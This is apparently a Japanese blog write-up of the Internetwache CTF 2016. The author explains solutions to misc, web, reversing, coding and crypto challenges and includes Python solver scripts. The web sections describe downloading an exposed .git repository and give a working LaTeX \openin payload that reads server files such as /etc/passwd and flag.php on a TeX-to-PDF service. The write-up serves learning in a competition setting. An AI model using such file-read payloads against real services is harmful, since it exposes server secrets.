Internetwache CTF 2016 Writeup
こんにちは.たんごです.授業も終わり就活も佳境になっている今日この頃.やるべきことをすべて放り出しCTFに取り組んでいました. Internetwache CTFは比較的簡単なCTFで私のような初心者にも非常に簡単に答えを出すことが出来たのでとっつきやすいCTFという感じでしたがrevやexpがちょっとrevらしく, exploitらしくない問題が出題されていたりとちょっと首を傾げそうな感じです.
最終順位は180位 970点であともうちょっとで1000点超えというような位置でした. 兎にも角にも珍しく問題を大量に解いたり特定ジャンルを全完したりと楽しいCTFでしたので解けた問題のWriteupを載せておこうかなと思います.
Misc
Misc 50
Description: My friend really can't remember passwords. So he uses some kind of obfuscation. Can you restore the plaintext?
ファイルを解凍するとみた感じ8進数でダンプされたファイルが出てきます.適当に数字部分をPythonに投げつけて文字列に変換するとどうやらbase64っぽい文字列が出てきたのでデコードします.
$ echo "V2VsbCBkb25lIQoKRmxhZzogSVd7TjBfMG5lX2Nhbl9zdDBwX3kwdX0K" | base64 -D Well done! Flag: IW{N0_0ne_can_st0p_y0u}
Flag: IW{N0_0ne_can_st0p_y0u}
Misc 60 Quick Run
Description: Someone sent me a file with white and black rectangles. I don't know how to read it. Can you help me?
全然わかりませんでした.しかしふとこの中身のファイルはbase64なんじゃないかと思いデコードしてみたところ何かQRっぽいことが発覚しました.
ですのでスマホでスキャンしてFlagを得ました.
出た文字列: FIagis:IW{QR_C0DES_RUL3}
Flag: IW{QR_C0DES_RUL3}
Misc 70 Rock with the wired shark!
Description: Sniffing traffic is fun. I saw a wired shark. Isn't that strange?
ファイルを展開するとパケットキャプチャしたファイルが.Wiresharkで開いてパケットを見ているとBASIC認証のページからzipファイルをダウンロードしているようです.ですのでExport Objectsを使ってzipファイルを展開します. 出てきたzipファイルを展開しようとするとパスワードを求めてきます. パスワードなんだよっと思いましたがBasic認証で使っているパスワードを入力すると展開できました.
Flag: IW{HTTP_BASIC_AUTH_IS_EASY}
Misc 80 404 Flag not found
解けないでいたらチームメンバーが解いてくれました.多分彼がWriteupを書いてくれることでしょう.
Misc 90 BarParty
ファイルを展開すると切断されたバーコードが! 仕方ないのでコンビニで写真を印刷しカッターで切りパズルのように合わせました.(辛かった)
あとは頑張って読み取りました.
Flag: IW{Bar_B4r_C0d3s}
Web
Web 80 0ldsk00lBlog
WebページにアクセスするとGitで管理したみたいな事が書いてあります.そこで /.git
にアクセスすると403が返ってきます. しかし /.git/HEAD
とかすると中身が表示されます.なのでGitリポジトリがそのまま公開されているようですね.
ここで片っ端からGitオブジェクトを手動でダウンロードしました.
ダウンロードしたリポジトリのファイルツリーは以下の様な感じでした.
.git ├── COMMIT_EDITMSG ├── HEAD ├── ORIG_HEAD ├── config ├── index ├── logs │ ├── HEAD │ └── refs │ └── heads │ └── master ├── objects │ ├── 14 │ │ └── d58c53d0e70c92a3a0a5d22c6a1c06c4a2d296 │ ├── 19 │ │ └── 49446afea12e0937044fdabe8cc101c87f7c54 │ ├── 25 │ │ └── a3f35784188ac1c9bf48a94e5a9c815bcb598c │ ├── 26 │ │ └── 858023dc18a164af9b9f847cbfb23919489ab2 │ ├── 33 │ │ └── a5c0876603d7a6f9729637f36030bbabb2afa3 │ ├── 3b │ │ └── e70be50c04bab8cd5d115da10c3a9c784d6bae │ ├── 4b │ │ └── 825dc642cb6eb9a060e54bf8d69288fbee4904 │ ├── 55 │ │ └── 08adb31bf48ae5fe437bdeba60f83982356934 │ ├── 75 │ │ └── 03402e4d48be951cddda34aae6e01905bb5c98 │ ├── 8c │ │ └── 46583a968da7955c13559693b3b8c5e5d5f510 │ ├── 91 │ │ └── f09a7948e02d891d3a39c058a634a8752aba20 │ ├── 95 │ │ └── a5396e62ca5c9577f761ebe969f52d3b6a9235 │ ├── b1 │ │ └── 5ec824e8f45356b9d829586e9950eb3e6c621a │ └── db │ └── a52097aba3af2b30ccbc589912ae67dcf5d77b └── refs └── heads └── master 20 directories, 22 files
/.git/objects/
以下はハッシュ化されているのでダウンロードするのは難しいと思いますがコミットログの各ハッシュでまずダウンロードし次にgit log --stat
でFatal Error と出てくるハッシュを同様にダウンロードすることで何とか全部ダウンロードすることが出来ました.
git diffの結果.
diff --git a/index.html b/index.html deleted file mode 100644 index 5508adb..0000000 --- a/index.html +++ /dev/null @@ -1,26 +0,0 @@ -<html> -<head> - <title>0ldsk00l</title> -</head> -<body> - <h2>2000</h2> - <p> - Oh, did I say that I like kittens? I like flags, too: IW{G1T_1S_4W3SOME} - </p> - - <h2>1990-2015</h2> - <p> - Hmm, looks like totally forgot about this page. I should start blogging more often. - </p> - - <h2>1990</h2> - <p> - I proudly present to you the very first browser for the World Wide Web. Feel free to use it to view my awesome blog. - </p> - - <h2>1989</h2> - <p> - So, yeah, I decided to invent the World Wide Web and now I'm sitting here and writing this. - </p> -</body> -</html> \ No newline at end of file
Flag: IW{G1T_1S_4W3SOME}
.git/
配下にどのようなファイルがあるのか調べるきっかけになったので非常に勉強になる問題でした.
Web 90 TexMaker
LaTeXのコードを入力するとPDFファイルを生成するWebサービス.問題をみた瞬間にOSコマンドインジェクションかディレクトリトラバーサルもどきで頑張ってPHPファイルとかを読むみたいな問題だろうなと予測しました.
はじめにOSコマンドインジェクションを試してみました.どうやら\input{}
コマンドで普通にコマンドが利用できるようでしたがBLACKLISTに登録されているみたいで実行できず諦めました.
次にLaTeX内で何とかファイルを読めないかといろいろ調べてみるとTeX Hackとかいう論文を見つけました. これ通りに/etc/passwdを読んでみるときちんと読めることが確認できました.
そこで ./../index.php
を読もうとして指定してもエラーになってしまいます.先ほどの論文の注釈を参考にちょっと変えたコードを書くとindex.phpも読むことが出来ました.
どうやらcatcode
というコマンドでLaTeXの特殊文字を飛ばしたりすることができるみたいですね?.多分#
がLaTeXの特殊文字でエラーになってしまうのを回避させようとしているのだと思います.
このようなノリで調べているとどうやら index.phpはconfig.phpを読み, config.phpはflag.phpを読んでいます. 最後にflag.phpを読むコードを書きます.
\openin5=./../flag.php \def\readfile{% \catcode`\$=1 \read5 to\curline \ifeof5 \let\next=\relax \else \curline˜\\ \let\next=\readfile \fi \next}% \ifeof5 Couldn't read the file!% \else \readfile \closein5 \fi
エラーメッセージのところにFlagが書かれています.
Flag: IW{L4T3x_IS_Tur1ng_c0mpl3te}
Rev
Rev 50 SPIM
Description: My friend keeps telling me, that real hackers speak assembly fluently. Are you a real hacker? Decode this string: "IVyN5U3X)ZUMYCs"
どうみてもMIPSのコードです.本当にありがとうございました. というわけで簡単にC言語に変換して実行しました.
#include <stdio.h> #include <stdlib.h> #include <string.h> int main(void) { char *flag = "IVyN5U3X)ZUMYCs"; if (strlen(flag) > 15) { return 1; } int t1; for (t1 = 0; t1 < 15; t1++) { int a0 = flag[t1]; a0 = a0 ^ t1; putchar(a0); } printf("\n"); return EXIT_SUCCESS; }
後は実行.
Flag: IW{M1P5_!S_FUN}
Rev 70 ServerfARM
ARMのバイナリ.適当にディスアセンブルしてコードを読むとどうやらprintfしまくっているみたい. なのでその文字を片っ端から吐き出して繋げればFlagが得られました.
Flag: IW{S.E.R.V.E.R>=F:A:R:M}
Rev 90 The Cube
ルービックキューブの問題.チームメンバーが解いてくれましたので関わってはいないのですがFlagの形式もわかっているので120通りのFlagを提出すれば当たるやろwって思っていました.(ゲス顔)
Code
Code 50 A numbers game
プログラミング問題 その1
問題例としては
x - 17 = 10
みたいなのが与えられるのでxの値は何か?を求める問題.つまり1次方程式を解くプログラムを書けばいいということになる. さてPythonには便利なことにSymPyと呼ばれる記号計算ライブラリがあります.これを使えば簡単に実装できます.
import socket from sympy import * from sympy.parsing.sympy_parser import parse_expr HOST = "188.166.133.53" PORT = 11027 def sock(remoteip, remoteport): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((remoteip, remoteport)) return s, s.makefile('rw') def read_until(f, delim='\n'): data = "" while not data.endswith(delim): data += f.read(1) return data s, f = sock(HOST, PORT) var("x") # x を変数として扱う print(read_until(f)) while True: exp = read_until(f) print("<< : " + exp) # exp = "Level 1.: x - 17 = 13" exp = exp.split(".: ")[1].split(" = ") ans = solve(Eq(parse_expr(exp[0]), int(exp[1]))) print(">> : " + str(ans)) s.send(str(ans[0]).encode()) print(read_until(f))
100回解くとフラグが得られました.
Flag: IW{M4TH_1S_34SY}
Code 60 It's Prime Time!
表示されている数字の次の素数を求めよというような問題.例えば3なら5を返してあげる. いちいち与えられた数の次の素数を求めるというようにすると時間がかかると思ったので最初に素数表を作成しておき辞書引きするような感じで書いた.
import socket import re HOST = "188.166.133.53" PORT = 11059 def sock(remoteip, remoteport): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((remoteip, remoteport)) return s, s.makefile('rw') def read_until(f, delim='\n'): data = "" while not data.endswith(delim): data += f.read(1) return data def prime_table(n): lis = [True for _ in range(n+1)] i = 2 while i * i <= n: if lis[i]: j = i + i while j <= n: lis[j] = False j += i i += 1 table = [i for i in range(n + 1) if lis[i] and i >= 2] return table prime_table = prime_table(100000) # 100000でのテーブルを予め作成しておく s, f = sock(HOST, PORT) m = re.compile(r"Level (\d+).: Find the next prime number after (\d+):") print(read_until(f)) while True: exp = read_until(f) print("<< : " + exp) exp = m.match(exp) y = int(exp.group(2)) n = list(filter(lambda x: x > y, prime_table))[0] print(">> : " + str(n)) s.send(str(n).encode()) print(read_until(f))
実行してわかりましたが100くらいまでの素数表で足りる問題でした.
Flag: IW{Pr1m3s_4r3_!mp0rt4nt}
Code 70 A numbers game 2
今度は符号化したコードを与えられるのでそれをデコードしてみました.するとCode 50で解いたような1次方程式が出てきたのでCode 50のコードをパクる感じで書きました.なおずっと返す値もエンコードして返さないといけないということを忘れていて1時間溶かしましたorz
import socket import string from sympy import * from sympy.parsing.sympy_parser import parse_expr HOST = "188.166.133.53" PORT = 11071 def xor(x, y): return x ^ y def encode(eq): out = [] for c in eq: q = bin(xor(ord(c), (2 << 4))).lstrip("0b") q = "0" * ((2 << 2)-len(q)) + q out.append(q) b = ''.join(out) pr = [] for x in range(0, len(b), 2): c = chr(int(b[x:x+2], 2)+51) pr.append(c) s = '.'.join(pr) return s def sock(remoteip, remoteport): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((remoteip, remoteport)) return s, s.makefile('rw') def read_until(f, delim='\n'): data = "" while not data.endswith(delim): data += f.read(1) return data maps = {encode(x): x for x in string.printable} def check(exp): ret = "" for i in range(0, len(exp), 4): t = ".".join(exp[i:i+4]) m = maps.get(t) if m: ret += m else: print(t) break return ret def main(): s, f = sock(HOST, PORT) print(read_until(f)) while True: exp = read_until(f) print("<< : " + exp) exp = exp.split(".: ")[1].replace("\n", "").split(".") exp = check(exp) # x - 12 = 10 みたいな形式になる print(" == " + exp) exp = exp.split(" = ") ans = solve(Eq(parse_expr(exp[0]), int(exp[1]))) print(">> : " + str(ans[0])) s.send(encode(str(ans[0])).encode()) print(read_until(f)) if __name__ == "__main__": # print(check(["3", "4", "4", "4"])) main()
Flag: IW{Crypt0_c0d3}
Crypto
暗号は1つしか解けなかったです.精進が必要.
Crypto 60 Oh Bob!
与えられた公開鍵をダンプして中の合成数を表示してみました.
$ openssl rsa -pubin -in bob.pub -text -noout Modulus (228 bit): 0d:56:4b:97:8f:9d:23:35:04:95:8e:ed:8b:74:43: 73:28:1e:d1:41:8b:29:f1:ec:fa:80:93:d8:cf Exponent: 65537 (0x10001)
すると非常に弱い鍵であることがわかりました.この程度であれば一般的なコンピューターのCPUでも数分で素因数分解できるはずですので適当なマシンを拝借してぶん回しました.
あとは得られた素数2つを使って秘密鍵を生成しそれを用いて暗号文を解読しました.
Flag: IW{WEAK_RSA_K3YS_4R3_SO_BAD!}
まとめ
解けたのはこんな感じでした.あと主催チームがさり気なく問題を全部公開しているので見ると勉強になっていいかなと思います.
あとチームのSlackにBOTを導入したところ結構便利になったのでこれからもう少し機能を追加してやりたいなという気持ちですw
今月号のきららMAXのごちうさも可愛くて最高だったのでみんな買いましょう!